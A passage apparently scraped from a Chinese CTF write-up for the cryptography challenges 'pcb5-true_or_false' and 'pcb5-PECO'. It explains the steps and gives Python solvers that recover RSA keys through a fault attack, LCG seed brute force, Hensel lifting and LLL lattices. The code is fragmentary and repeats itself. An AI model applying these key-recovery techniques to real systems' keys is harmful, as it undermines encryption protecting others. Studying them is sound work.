d = 16306054997613721520756151430779642117683661431522665108784419231044104572118893098180652730976905729602478591047033305251624752030036736271198006715513694904231940253554804069707679445942892410812386221633728427239116007373836662495075237456279818311659331982404534490546781763464409713789636372508503902598331950861474527128323735250673137355260113147338636761737748874105625008482750923429512271416511835596944209137554445130949731646669691366003832655082535985891463876904334888009751956386994969339847254470145428608062575606120441725590059524749595027078238962391188809496875025237129899849787699468205026040721
c = 7908369000608075306226552240713890041649799894903074579356627811865842237315201153498579205223600526520994811661608630888045462921547166872107507948062717836952855804806976414887413729060431265217539895710936669089248515746191716161194996469977577048602427553584286064475300979649416171469313168995504717602670924606819204605601860560767900702512753735554900344201907921239415885901489708576066483012272256175573658509614344875077232108364134161997767814675830320630271209201503987787921279932886374846298269125068817280777403718279754392091441050281244934594776307137448975055247018414699621410668188864774860026941

leak = decimal.Decimal(leak_str)

def solve_for_p(phi, leak):
    # 3P^3 - (3*leak + 3)P^2 + (1 + 3*leak - 3*leak*phi)P + 1 = 0
    # Let's use coefficients
    # a = 3
    # b = -(3*leak + 3)
    # c = 1 + 3*leak - 3*leak*phi
    # d = 1
    
    # We want to find root P.
    # P is approx sqrt(phi * leak) ?
    # N = P*Q, P/Q = leak => P^2/N = leak => P = sqrt(N*leak) approx sqrt(phi*leak)
    
    # Newton's method
    # f(P) = aP^3 + bP^2 + cP + d
    # f'(P) = 3aP^2 + 2bP + c
    
    P_curr = decimal.Decimal(phi * leak).sqrt()
    
    for _ in range(20):
        P2 = P_curr * P_curr
        P3 = P2 * P_curr
        
        f = 3*P3 - (3*leak + 3)*P2 + (1 + 3*leak - 3*leak*phi)*P_curr + 1
        df = 9*P2 - 2*(3*leak + 3)*P_curr + (1 + 3*leak - 3*leak*phi)
        
        if df == 0:
            break
            
        P_next = P_curr - f / df
        if abs(P_next - P_curr) < 0.5:
            P_curr = P_next
            break
        P_curr = P_next
        
    return int(P_curr.to_integral_value())

print("Searching for k and e...")
found = False

# Common e values + some range
E_CANDIDATES = [3, 5, 17, 257, 65537]
# Add some more just in case
E_CANDIDATES.extend(range(3, 1000, 2))
E_CANDIDATES = sorted(list(set(E_CANDIDATES)))

for e in E_CANDIDATES:
    # print(f"Trying e={e}")
    for k in range(1, e + 1):
        if (e * d - 1) % k != 0:
            continue
        
        phi = (e * d - 1) // k
        
        # Solve for P
        p_candidate = solve_for_p(phi, leak)
        
        # Check if p is a factor of phi (approx)
        # Actually check if p divides n? We don't have n.
        # Check if (p-1) divides phi
        
        if p_candidate > 1 and phi % (p_candidate - 1) == 0:
            q_candidate = (phi // (p_candidate - 1)) + 1
            n_candidate = p_candidate * q_candidate
            
            # Verify leak
            # leak_calc = (3*P^2 - 1) / (3*P*Q)
            # Check if close
            
            try:
                m_int = pow(c, d, n_candidate)
                m_bytes = long_to_bytes(m_int)
                # Check for flag format
                if b"flag" in m_bytes:
                    print(f"Found e: {e}")
                    print(f"Found k: {k}")
                    print(f"p: {p_candidate}")
                    print(f"q: {q_candidate}")
                    print(f"Flag: {m_bytes}")
                    found = True
                    break
            except Exception:
                pass
    if found:
        break

if not found:
    print("Flag not found.")

题目名称 pcb5-true_or_false

题目分析

这是一个 RSA 故障注入攻击 (Fault Attack) 结合 LCG 的题目。

  1. 数据混淆: 签名数据 (sig_ok, sig_fault) 被一个 LCG 生成的序列异或混淆了。
  2. LCG: 参数 A, B, MOD 已知，但种子 seed 未知。题目给出了 seed_hint。
  3. 故障攻击: 提供了正确的签名 sig_ok 和错误的签名 sig_fault。这是典型的 RSA-CRT 故障攻击场景（Bellcore Attack）。

解题思路

  1. 恢复种子:
    1. 利用 seed_hint 确定种子的搜索范围。
    2. 爆破种子，对 sig_ok_mixed 进行去混淆（异或解密）。
    3. 验证种子：解密后的 sig_ok 应该满足 pow(sig_ok, e, n) < 2^256（因为它是 hash 的签名，原始消息是 hash 值）。
  2. Bellcore Attack:
    1. 一旦恢复了正确的 sig_ok (s) 和错误的 sig_fault (s’)。
    2. 利用公式 p = gcd(s - s', n) 或 q = gcd(s - s', n)。
    3. 其中一个因子可以通过 GCD 直接求出。
  3. 分解 N:
    1. 求出 p 后，q = n // p。
  4. 解密 Flag:
    1. 计算私钥 d，解密 flag_enc。

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import json
import multiprocessing
from Crypto.Util.number import bytes_to_long, long_to_bytes, GCD
import time

# Load challenge data
with open(r"c:\Users\35651\Desktop\2025pcb\密码\pcb5-true_or_false\tf\challenge.json", "r") as f:
    data = json.load(f)

n = int(data["n"], 16)
e = data["e"]
sig_ok_mixed = bytes.fromhex(data["sig_ok_mixed"])
sig_fault_mixed = bytes.fromhex(data["sig_fault_mixed"])
flag_enc = int(data["flag_enc"], 16)
seed_hint = data["seed_hint"]

A = 1103515245
B = 12345
MOD = 2**31

def lcg(s):
    while True:
        s = (A * s + B) % MOD
        yield s & 0xFF

def unmix(b, s):
    g = lcg(s)
    o = bytearray()
    for i in range(0, len(b), 8):
        chunk = b[i:i+8]
        dec_chunk = bytearray()
        for x in chunk:
            dec_chunk.append(x ^ next(g))
        o.extend(dec_chunk[::-1])
    return bytes(o)

def check_seed_range(start, end, step):
    # print(f"Checking range {start} to {end} with step {step}")
    for seed in range(start, end, step):
        # Check sig_ok
        try:
            s_bytes = unmix(sig_ok_mixed, seed)
            s = bytes_to_long(s_bytes)
            
            # Fast check: s^e mod n should be small (approx 256 bits)
            # m is sha256 digest, so m < 2^256
            # We compute m_candidate = s^e % n
            # If m_candidate < 2^256, it's likely the correct seed.
            
            m_candidate = pow(s, e, n)
            if m_candidate < 2**256:
                return seed, m_candidate
        except Exception:
            continue
    return None

def solve():
    # Seed range is 1 to 2**31
    # seed % 97 == seed_hint
    
    # We can iterate: seed = seed_hint + k * 97
    # Start from seed_hint (if seed_hint=0, start from 97? range starts at 1)
    
    start_seed = seed_hint
    if start_seed == 0:
        start_seed = 97
        
    # Max seed
    max_seed = 2**31
    
    # Step is 97
    step = 97
    
    # Number of processes
    num_processes = max(1, multiprocessing.cpu_count() - 1)
    print(f"Using {num_processes} processes")
    
    pool = multiprocessing.Pool(processes=num_processes)
    
    # Split the work
    # Total items approx 2*10^7
    # We can split into chunks
    
    chunk_size = 100000 * step # 100k items per chunk
    
    tasks = []
    curr = start_seed
    while curr < max_seed:
        end = min(curr + chunk_size, max_seed)
        tasks.append((curr, end, step))
        curr = end
        
    results = []
    for task in tasks:
        results.append(pool.apply_async(check_seed_range, args=task))
        
    pool.close()
    
    found_seed = None
    m = None
    
    for res in results:
        val = res.get()
        if val:
            found_seed, m = val
            pool.terminate()
            break
            
    if found_seed:
        print(f"Found seed: {found_seed}")
        print(f"m: {m}")
        
        # Recover flag
        flag_int = flag_enc ^ m
        flag = long_to_bytes(flag_int)
        print(f"Flag: {flag}")
        
        # Verify with fault attack just for fun/completeness
        s_fault_bytes = unmix(sig_fault_mixed, found_seed + 123456)
        s_fault = bytes_to_long(s_fault_bytes)
        s_ok = bytes_to_long(unmix(sig_ok_mixed, found_seed))
        
        p = GCD(s_ok - s_fault, n)
        print(f"Recovered p: {p}")
        
    else:
        print("Seed not found")

if __name__ == "__main__":
    solve()

题目名称 pcb5-PECO

题目分析

这是一道综合性的 RSA 题目，包含多个步骤：

  1. Pell 方程: 题目给出了 A * (x^2 - 1) = B * y^2 的关系，这是一个变形的 Pell 方程。
  2. Hensel Lifting (部分私钥泄露): 题目给出了 gift2 = p^7 + q^13 mod 2^777。这是一个模幂方程，且模数是 2 的幂。
  3. 线性关系****恢复 P: 恢复了 p 的低 777 位 (p_low) 后，需要恢复完整的 p。
  4. Knapsack (背包问题): Flag 被分割成两部分 f0, f1，满足 x*f0 + y*f1 = r mod m。

解题思路

  1. 求解 Pell 方程:
    1. 将方程变形为 x^2 - D*w^2 = 1 的标准形式。
    2. 使用连分数法求解 Pell 方程，得到 x 和 y。
  2. Hensel Lifting 恢复 p_low:
    1. 利用 gift2 和 n，在模 2^k 下逐位提升，求解 p 的低 777 位。
    2. 由于方程 p^20 - gift2*p^13 + n^13 = 0 mod 2^k 比较复杂，使用 BFS 搜索合法的 p_low。
  3. Lattice / CVP 恢复完整 p:
    1. 已知 p = k * 2^777 + p_low，q = r * 2^777 + q_low。
    2. 代入 N = p*q，推导出 k, r 满足的线性方程：k*q_low + r*p_low = LHS mod 2^777。
    3. 构造格（Lattice），将问题转化为 CVP (Closest Vector Problem) 或 SVP。
    4. 使用 LLL 算法求解出较小的 k 和 r，从而恢复完整的 p 和 q。
  4. 解密 m:
    1. 有了 p, q，计算 d，解密 RSA 密文得到 m。
  5. 求解 Knapsack:
    1. 已知 x*f0 + y*f1 = r mod m，其中 x, y, m 已知，f0, f1 是 Flag 的两部分（较小），r 也很小。
    2. 构造格：
    3. [ 1, 0, x ] [ 0, 1, y ] [ 0, 0, m ]
    4. 使用 LLL 算法寻找格中的短向量。目标向量为 (f0, f1, r)。
    5. 还原出 f0 和 f1，拼接得到 Flag。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
import math

def solve_pell(D):
    m = 0
    d = 1
    a = int(math.isqrt(D))
    a0 = a
    if a*a == D: return None
    
    num1, den1 = 1, 0
    num2, den2 = a, 1
    
    while True:
        m = d * a - m
        d = (D - m * m) // d
        a = (a0 + m) // d
        
        num2, num1 = a * num2 + num1, num2
        den2, den1 = a * den2 + den1, den2
        
        if num2*num2 - D*den2*den2 == 1:
            return num2, den2

A = 1293023064232431070902426583269468463
B = 105279230912868770223946474836383391725923
D = B // A
print(f"D: {D}")

x, y = solve_pell(D)
print(f"x: {x}")
print(f"y: {y}")
import sys
import math
from functools import reduce
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse

# --- Basic Number Theory ---

def gcd(a, b):
    while b:
        a, b = b, a % b
    return a

def extended_gcd(a, b):
    if a == 0:
        return b, 0, 1
    else:
        g, y, x = extended_gcd(b % a, a)
        return g, x - (b // a) * y, y

def inverse(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def isqrt(n):
    if n < 0:
        raise ValueError
    if n == 0:
        return 0
    x = int(n)
    y = (x + 1) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def is_square(n):
    if n < 0: return False
    if n == 0: return True
    x = isqrt(n)
    return x*x == n

from fractions import Fraction
import sys

# --- LLL Implementation (using Fractions) ---

def create_matrix(rows, cols):
    return [[0] * cols for _ in range(rows)]

def dot_product(v1, v2):
    return sum(x * y for x, y in zip(v1, v2))

def vector_add(v1, v2):
    return [x + y for x, y in zip(v1, v2)]

def vector_sub(v1, v2):
    return [x - y for x, y in zip(v1, v2)]

def vector_scale(v, s):
    return [x * s for x in v]

def lll_reduction(basis, delta=Fraction(99, 100)):
    n = len(basis)
    m = len(basis[0])
    
    basis = [[int(x) for x in row] for row in basis]
    ortho = [[Fraction(x) for x in row] for row in basis]
    mu = [[Fraction(0) for _ in range(n)] for _ in range(n)]
    
    def update_gram_schmidt(k):
        for i in range(k + 1):
            if i == 0:
                ortho[i] = [Fraction(x) for x in basis[i]]
            else:
                ortho[i] = [Fraction(x) for x in basis[i]]
                for j in range(i):
                    dp_ortho_j = dot_product(ortho[j], ortho[j])
                    if dp_ortho_j == 0:
                        mu[i][j] = Fraction(0)
                    else:
                        mu[i][j] = dot_product(basis[i], ortho[j]) / dp_ortho_j
                    ortho[i] = vector_sub(ortho[i], vector_scale(ortho[j], mu[i][j]))

    for i in range(n):
        update_gram_schmidt(i)

    k = 1
    while k < n:
        for j in range(k - 1, -1, -1):
            if abs(mu[k][j]) > Fraction(1, 2):
                val = mu[k][j]
                q = int(val + Fraction(1, 2)) if val > 0 else int(val - Fraction(1, 2))
                basis[k] = vector_sub(basis[k], vector_scale(basis[j], q))
                update_gram_schmidt(k)
        
        norm_k = dot_product(ortho[k], ortho[k])
        norm_k_minus_1 = dot_product(ortho[k-1], ortho[k-1])
        
        if norm_k >= (delta - mu[k][k-1]**2) * norm_k_minus_1:
            k += 1
        else:
            basis[k], basis[k-1] = basis[k-1], basis[k]
            for i in range(k-1, n):
                update_gram_schmidt(i)
            k = max(k - 1, 1)
            
    return basis

# --- Main Solver ---

def solve():
    # 1. Data
    n = 18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866884050311047424068122453972745273167956795195575475691048908906061023817574695902603984554911326264947716547564759877947888574515784489778380086664649338093680740990860192640619047071160362288611331225632270531304525264824445326394068892806774552310748255977040249822464839809344521107040968321810533993659358229305320413
    c = 8176283809770578639445916571748890916863681496488338436815389781344271720445865752568007651231910205530735296305471880971422173915403956857863330698931559658909826642456860761540607878553228782799635976463090037022164739976302533892173751687781100980039065722082091714141141136171701360981540040678479802206949078162548124224838019262997441233919136963696523351831737708850863538007579105976954619102728135600542584651031405327214877358323388674864043740117718200022790892542634633918493245432384562983429810936975869853596007429259749282607844407676244954057886824475948603911174707176467261179324130051317766768127
    gift2 = 26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614
    
    # Hardcoded x, y from Pell solver
    x_pell = 706458746417678962043621845971467865659328419354757470370053791959400836343459667183452696881749102272803495561977766862981211957547107314899837090421877848369768126470488899783907413049018564965473411482320934865623338739674557285559179500448017722749519381238449907463225595410791751764554609076679816077991393296019025846726102143252917723127850421484059625048891687413514675773883846965460650321320194376953023128886680992904874680874592398084000621265936352579085146973168432725924933271736161246147210167219273151533549827720768127049
    y_sol = 2475817283208353655376575253824978610318795084158266693908795228437881838494879684898106300899685369783448887135772502375256424485378197701618246093404377305042144695942832777562138071372439272074221303824090898475856064751103068366460943484199764781203337540043797645872932430695841756685875430274803587032466826238694472049259595749567628655789857218392048459841779867350496912185026568130525427572795745011809179300697763422087575586151631990884275732162078972870311906763206309891911795517651173639547353468670434655436993030736217980
    
    # 2. Recover p_low
    print("Recovering p_low...")
    if gift2 % 2 != 0:
        print("gift2 is odd, no solution for p mod 2")
        return
        
    queue = [(1, 1)]
    p_low_candidates = []
    
    while queue:
        p_curr, k = queue.pop(0)
        if k == 777:
            p_low_candidates.append(p_curr)
            continue
            
        mod_next = 2**(k+1)
        val1 = (pow(p_curr, 20, mod_next) - gift2 * pow(p_curr, 13, mod_next) + pow(n, 13, mod_next)) % mod_next
        if val1 == 0:
            queue.append((p_curr, k+1))
        p_next = p_curr + 2**k
        val2 = (pow(p_next, 20, mod_next) - gift2 * pow(p_next, 13, mod_next) + pow(n, 13, mod_next)) % mod_next
        if val2 == 0:
            queue.append((p_next, k+1))
            
    if not p_low_candidates:
        print("Failed to lift p_low")
        return
    print(f"Found {len(p_low_candidates)} candidates for p_low")
    
    for p_low in p_low_candidates:
        print(f"Trying p_low: {p_low}")
        
        # 3. Recover full p using Linear Equation Solver
        q_low = (n * inverse(p_low, 2**777)) % (2**777)
        LHS = (n - p_low * q_low) // (2**777)
        LHS %= (2**777)
        
        K = 2**250
        M = 2**777
        
        basis = [
            [1, 0, K * q_low],
            [0, 1, K * p_low],
            [0, 0, K * M],
            [0, 0, K * LHS]
        ]
        
        reduced = lll_reduction(basis)
        
        found_p = False
        p = 0
        q = 0
        
        for row in reduced:
            # Check if row[2] is 0
            if row[2] == 0:
                k_cand = abs(int(row[0]))
                p_cand = k_cand * (2**777) + p_low
                if p_cand > 1 and n % p_cand == 0:
                    p = p_cand
                    q = n // p
                    print(f"Found p: {p}")
                    print(f"Found q: {q}")
                    found_p = True
                    break
            
            # Also check if row[2] is multiple of K*M? No, we reduced modulo M in lattice construction implicitly?
            # No, the lattice is for equation: k*q_low + r*p_low + z*M = LHS
            # The last column is K * (k*q_low + r*p_low + z*M - LHS) ? No.
            # The lattice basis I used:
            # v1 = (1, 0, K*q_low)
            # v2 = (0, 1, K*p_low)
            # v3 = (0, 0, K*M)
            # v4 = (0, 0, K*LHS)
            # A vector v = k*v1 + r*v2 + z*v3 - 1*v4 = (k, r, K*(k*q_low + r*p_low + z*M - LHS))
            # If k*q_low + r*p_low = LHS mod M, then k*q_low + r*p_low + z*M = LHS for some z.
            # So the last component should be 0.
            
            # Maybe LLL didn't find the vector with -1 coefficient for v4.
            # We can try CVP or embedding technique.
            # Embedding:
            # [ 1, 0, K*q_low ]
            # [ 0, 1, K*p_low ]
            # [ 0, 0, K*M     ]
            # [ 0, 0, K*LHS   ]
            # We want close vector to (0, 0, 0) ? No.
            # We want short vector in this lattice that has specific structure?
            # Actually, the standard way is to put LHS in the lattice and look for vector (k, r, 0).
            # But LLL finds short vectors. (k, r, 0) is short.
            # But we need the coefficient of v4 to be -1 (or 1).
            # LLL doesn't guarantee that.
            
            # Let's check if any row has the form (k, r, 0) and check if it works.
            # I already did that.
            
            # Maybe K is too small/large?
            # k, r ~ 2^247. K ~ 2^250.
            # Norm of target vector ~ 2^247.
            # Determinant ~ K*M = 2^1027.
            # Dim 4. Root det ~ 2^256.
            # Target vector is short enough.
            pass
            
        if found_p:
            break
            
    if not found_p:
        print("Failed to recover p with simple lattice. Trying CVP embedding...")
        # CVP Embedding
        # [ 1, 0, K*q_low, 0 ]
        # [ 0, 1, K*p_low, 0 ]
        # [ 0, 0, K*M,     0 ]
        # [ 0, 0, K*LHS,   1 ]
        # Target vector: (k, r, 0, 1) or (k, r, 0, -1)
        
        for p_low in p_low_candidates:
            q_low = (n * inverse(p_low, 2**777)) % (2**777)
            LHS = (n - p_low * q_low) // (2**777)
            LHS %= (2**777)
            
            K = 2**250
            M = 2**777
            
            basis = [
                [1, 0, K * q_low, 0],
                [0, 1, K * p_low, 0],
                [0, 0, K * M,     0],
                [0, 0, K * LHS,   K] # Use K for the last component to balance weights
            ]
            
            reduced = lll_reduction(basis)
            
            for row in reduced:
                # Check if last component is +/- K
                if abs(row[3]) == K:
                    if row[2] == 0:
                        k_cand = abs(int(row[0]))
                        p_cand = k_cand * (2**777) + p_low
                        if p_cand > 1 and n % p_cand == 0:
                            p = p_cand
                            q = n // p
                            print(f"Found p: {p}")
                            print(f"Found q: {q}")
                            found_p = True
                            break
            if found_p: break
            
    if not found_p:
        print("Failed to recover p")
        return
        
    # 4. Decrypt m
    e = 65537
    phi = (p-1)*(q-1)
    d = inverse(e, phi)
    m = pow(c, d, n)
    print(f"Recovered m: {m}")
    
    # 6. Recover Flag using LLL
    print("Recovering flag...")
    
    basis = [
        [1, 0, x_pell],
        [0, 1, y_sol],
        [0, 0, m]
    ]
    
    reduced = lll_reduction(basis)
    
    for row in reduced:
        f0_cand = abs(int(row[0]))
        f1_cand = abs(int(row[1]))
        
        try:
            b0 = long_to_bytes(f0_cand)
            b1 = long_to_bytes(f1_cand)
            
            if b"flag{" in b0:
                print(f"Found f0: {b0}")
                print(f"Found f1: {b1}")
                print(f"Full Flag: {b0 + b1}")
                break
            
            if b"flag{" in b1:
                print(f"Found f0: {b1}")
                print(f"Found f1: {b0}")
                print(f"Full Flag: {b1 + b0}")
                break
        except:
            continue

if __name__ == "__main__":
    solve()

# --- Coppersmith Small Roots (Simplified for linear case) ---

def solve_linear_mod_N(a, b, N, X, beta=0.5):
    # Solves x + a = 0 (mod p) where p >= N^beta and x < X
    # Using m=2, t=1 lattice (dim 4)
    # Polynomials: N^2, N(x+a), (x+a)^2, x(x+a)^2
    # Roots mod p^2
    
    dim = 4
    basis = create_matrix(dim, dim)
    
    # Row 0: N^2
    # Coeffs: [N^2, 0, 0, 0]
    basis[0] = [N**2, 0, 0, 0]
    
    # Row 1: N(x+a) = N*a + N*x
    # Coeffs: [N*a, N*X, 0, 0]
    basis[1] = [N*a, N*X, 0, 0]
    
    # Row 2: (x+a)^2 = a^2 + 2ax + x^2
    # Coeffs: [a^2, 2*a*X, X^2, 0]
    basis[2] = [a**2, 2*a*X, X**2, 0]
    
    # Row 3: x(x+a)^2 = a^2 x + 2a x^2 + x^3
    # Coeffs: [0, a^2*X, 2*a*X^2, X^3]
    basis[3] = [0, a**2*X, 2*a*X**2, X**3]
    
    reduced = lll_reduction(basis)
    
    # Check vectors
    for row in reduced:
        # Polynomial P(x) = c0 + c1*x + c2*x^2 + c3*x^3
        c0 = int(row[0])
        c1 = int(row[1]) // X
        c2 = int(row[2]) // (X*X)
        c3 = int(row[3]) // (X*X*X)
        
        # Solve cubic c3*x^3 + c2*x^2 + c1*x + c0 = 0
        # We look for integer roots in [0, X]
        # Simple brute force if X is small? No X is 2^247.
        # Use derivative or closed form?
        # Or just check if it has integer root.
        # Since we expect x to be the root, we can try to find it.
        # If c3=0, quadratic.
        
        coeffs = [c0, c1, c2, c3]
        # Remove leading zeros
        while len(coeffs) > 0 and coeffs[-1] == 0:
            coeffs.pop()
            
        if not coeffs:
            continue
            
        # Solve polynomial
        # We can use Newton's method or simple search if monotonic.
        # But it's a polynomial.
        # Try integer root finding.
        # Rational root theorem: root p/q, p divides c0, q divides cn.
        # Here root is integer, so divides c0.
        # But c0 is huge.
        
        # However, we know the root is in [0, X].
        # We can use binary search if the function is monotonic in [0, X].
        # Or just use Newton's method starting from 0 or X.
        
        def eval_poly(x):
            res = 0
            for c in reversed(coeffs):
                res = res * x + c
            return res
            
        # Try Newton
        # x_new = x - P(x)/P'(x)
        
        def eval_deriv(x):
            res = 0
            for i in range(len(coeffs)-1, 0, -1):
                res = res * x + coeffs[i] * i
            return res
            
        # Try a few starting points
        for start in [0, X // 2, X]:
            x_curr = start
            for _ in range(20):
                y = eval_poly(x_curr)
                dy = eval_deriv(x_curr)
                if dy == 0: break
                x_next = x_curr - y // dy
                if x_next == x_curr: break
                x_curr = x_next
            
            # Check neighbors
            for offset in range(-2, 3):
                cand = x_curr + offset
                if cand >= 0 and eval_poly(cand) == 0:
                    return cand
                    
    return None

# --- Pell Equation Solver ---

def solve_pell(D):
    # Solves x^2 - D y^2 = 1
    # Returns minimal (x, y)
    m = 0
    d = 1
    a = int(math.isqrt(D))
    a0 = a
    if a*a == D: return None
    
    num1, den1 = 1, 0
    num2, den2 = a, 1
    
    while True:
        m = d * a - m
        d = (D - m * m) // d
        a = (a0 + m) // d
        
        num2, num1 = a * num2 + num1, num2
        den2, den1 = a * den2 + den1, den2
        
        x, y = num2, den2
        # Check x^2 - D y^2 = 1?
        # The convergents of sqrt(D) give solutions to x^2 - Dy^2 = 1 or -1
        # We check the previous convergent actually?
        # The recurrence gives p_k / q_k.
        # We check num1, den1?
        
        x_cand, y_cand = num1, den1
        if x_cand*x_cand - D*y_cand*y_cand == 1:
            return x_cand, y_cand
            
        # Also check current
        if num2*num2 - D*den2*den2 == 1:
            return num2, den2

# --- Main Solver ---

def solve():
    # 1. Data
    n = 18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866884050311047424068122453972745273167956795195575475691048908906061023817574695902603984554911326264947716547564759877947888574515784489778380086664649338093680740990860192640619047071160362288611331225632270531304525264824445326394068892806774552310748255977040249822464839809344521107040968321810533993659358229305320413
    c = 8176283809770578639445916571748890916863681496488338436815389781344271720445865752568007651231910205530735296305471880971422173915403956857863330698931559658909826642456860761540607878553228782799635976463090037022164739976302533892173751687781100980039065722082091714141141136171701360981540040678479802206949078162548124224838019262997441233919136963696523351831737708850863538007579105976954619102728135600542584651031405327214877358323388674864043740117718200022790892542634633918493245432384562983429810936975869853596007429259749282607844407676244954057886824475948603911174707176467261179324130051317766768127
    gift1 = 1293023064232431070902426583269468463
    gift2 = 26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614
    
    A_val = 1293023064232431070902426583269468463
    B_val = 105279230912868770223946474836383391725923
    
    # 2. Recover p_low from gift2
    # gift2 = p^7 + q^13 mod 2^777
    # q = n * p^-1 mod 2^777
    # p^7 + (n*p^-1)^13 = gift2 mod 2^777
    # p^20 - gift2 * p^13 + n^13 = 0 mod 2^777
    
    print("Recovering p_low...")
    mask = 2**777
    
    # BFS for Hensel lifting
    # Queue stores (p_curr, k) where p_curr is root mod 2^k
    # Start with k=1
    
    # Roots mod 2
    # p^20 - gift2 * p^13 + n^13 = 0 mod 2
    # p is odd => p=1 mod 2
    # 1 - gift2 + 1 = 2 - gift2 = -gift2 mod 2
    # If gift2 is odd, no solution. If even, p=1 is solution.
    
    if gift2 % 2 != 0:
        print("gift2 is odd, no solution for p mod 2")
        return
        
    queue = [(1, 1)]
    
    p_low = None
    
    while queue:
        p_curr, k = queue.pop(0)
        
        if k == 777:
            p_low = p_curr
            break
            
        mod_next = 2**(k+1)
        
        # Try p_curr
        val1 = (pow(p_curr, 20, mod_next) - gift2 * pow(p_curr, 13, mod_next) + pow(n, 13, mod_next)) % mod_next
        if val1 == 0:
            queue.append((p_curr, k+1))
            
        # Try p_curr + 2^k
        p_next = p_curr + 2**k
        val2 = (pow(p_next, 20, mod_next) - gift2 * pow(p_next, 13, mod_next) + pow(n, 13, mod_next)) % mod_next
        if val2 == 0:
            queue.append((p_next, k+1))
            
    if p_low is None:
        print("Failed to lift p_low")
        return
        
    print(f"p_low: {p_low}")
    
    # 3. Recover full p using Linear Equation Solver
    # p = k * 2^777 + p_low
    # q = r * 2^777 + q_low
    # N = p * q
    # N = (k * 2^777 + p_low) * (r * 2^777 + q_low)
    # N = k*r*2^1554 + (k*q_low + r*p_low)*2^777 + p_low*q_low
    # (N - p_low*q_low) / 2^777 = k*r*2^777 + k*q_low + r*p_low
    # Let LHS = (N - p_low*q_low) // 2^777
    # LHS = k*q_low + r*p_low mod 2^777
    # We want to find small k, r satisfying this.
    # k, r < 2^247
    
    print("Recovering full p using linear solver...")
    
    q_low = (n * inverse(p_low, 2**777)) % (2**777)
    LHS = (n - p_low * q_low) // (2**777)
    LHS %= (2**777) # Modulo just in case, though equation holds mod 2^777
    
    # Lattice to solve k*q_low + r*p_low = LHS mod 2^777
    # k*q_low + r*p_low + z*2^777 = LHS
    # Basis:
    # [ 1, 0, K*q_low ]
    # [ 0, 1, K*p_low ]
    # [ 0, 0, K*2^777 ]
    # [ 0, 0, K*LHS   ]
    
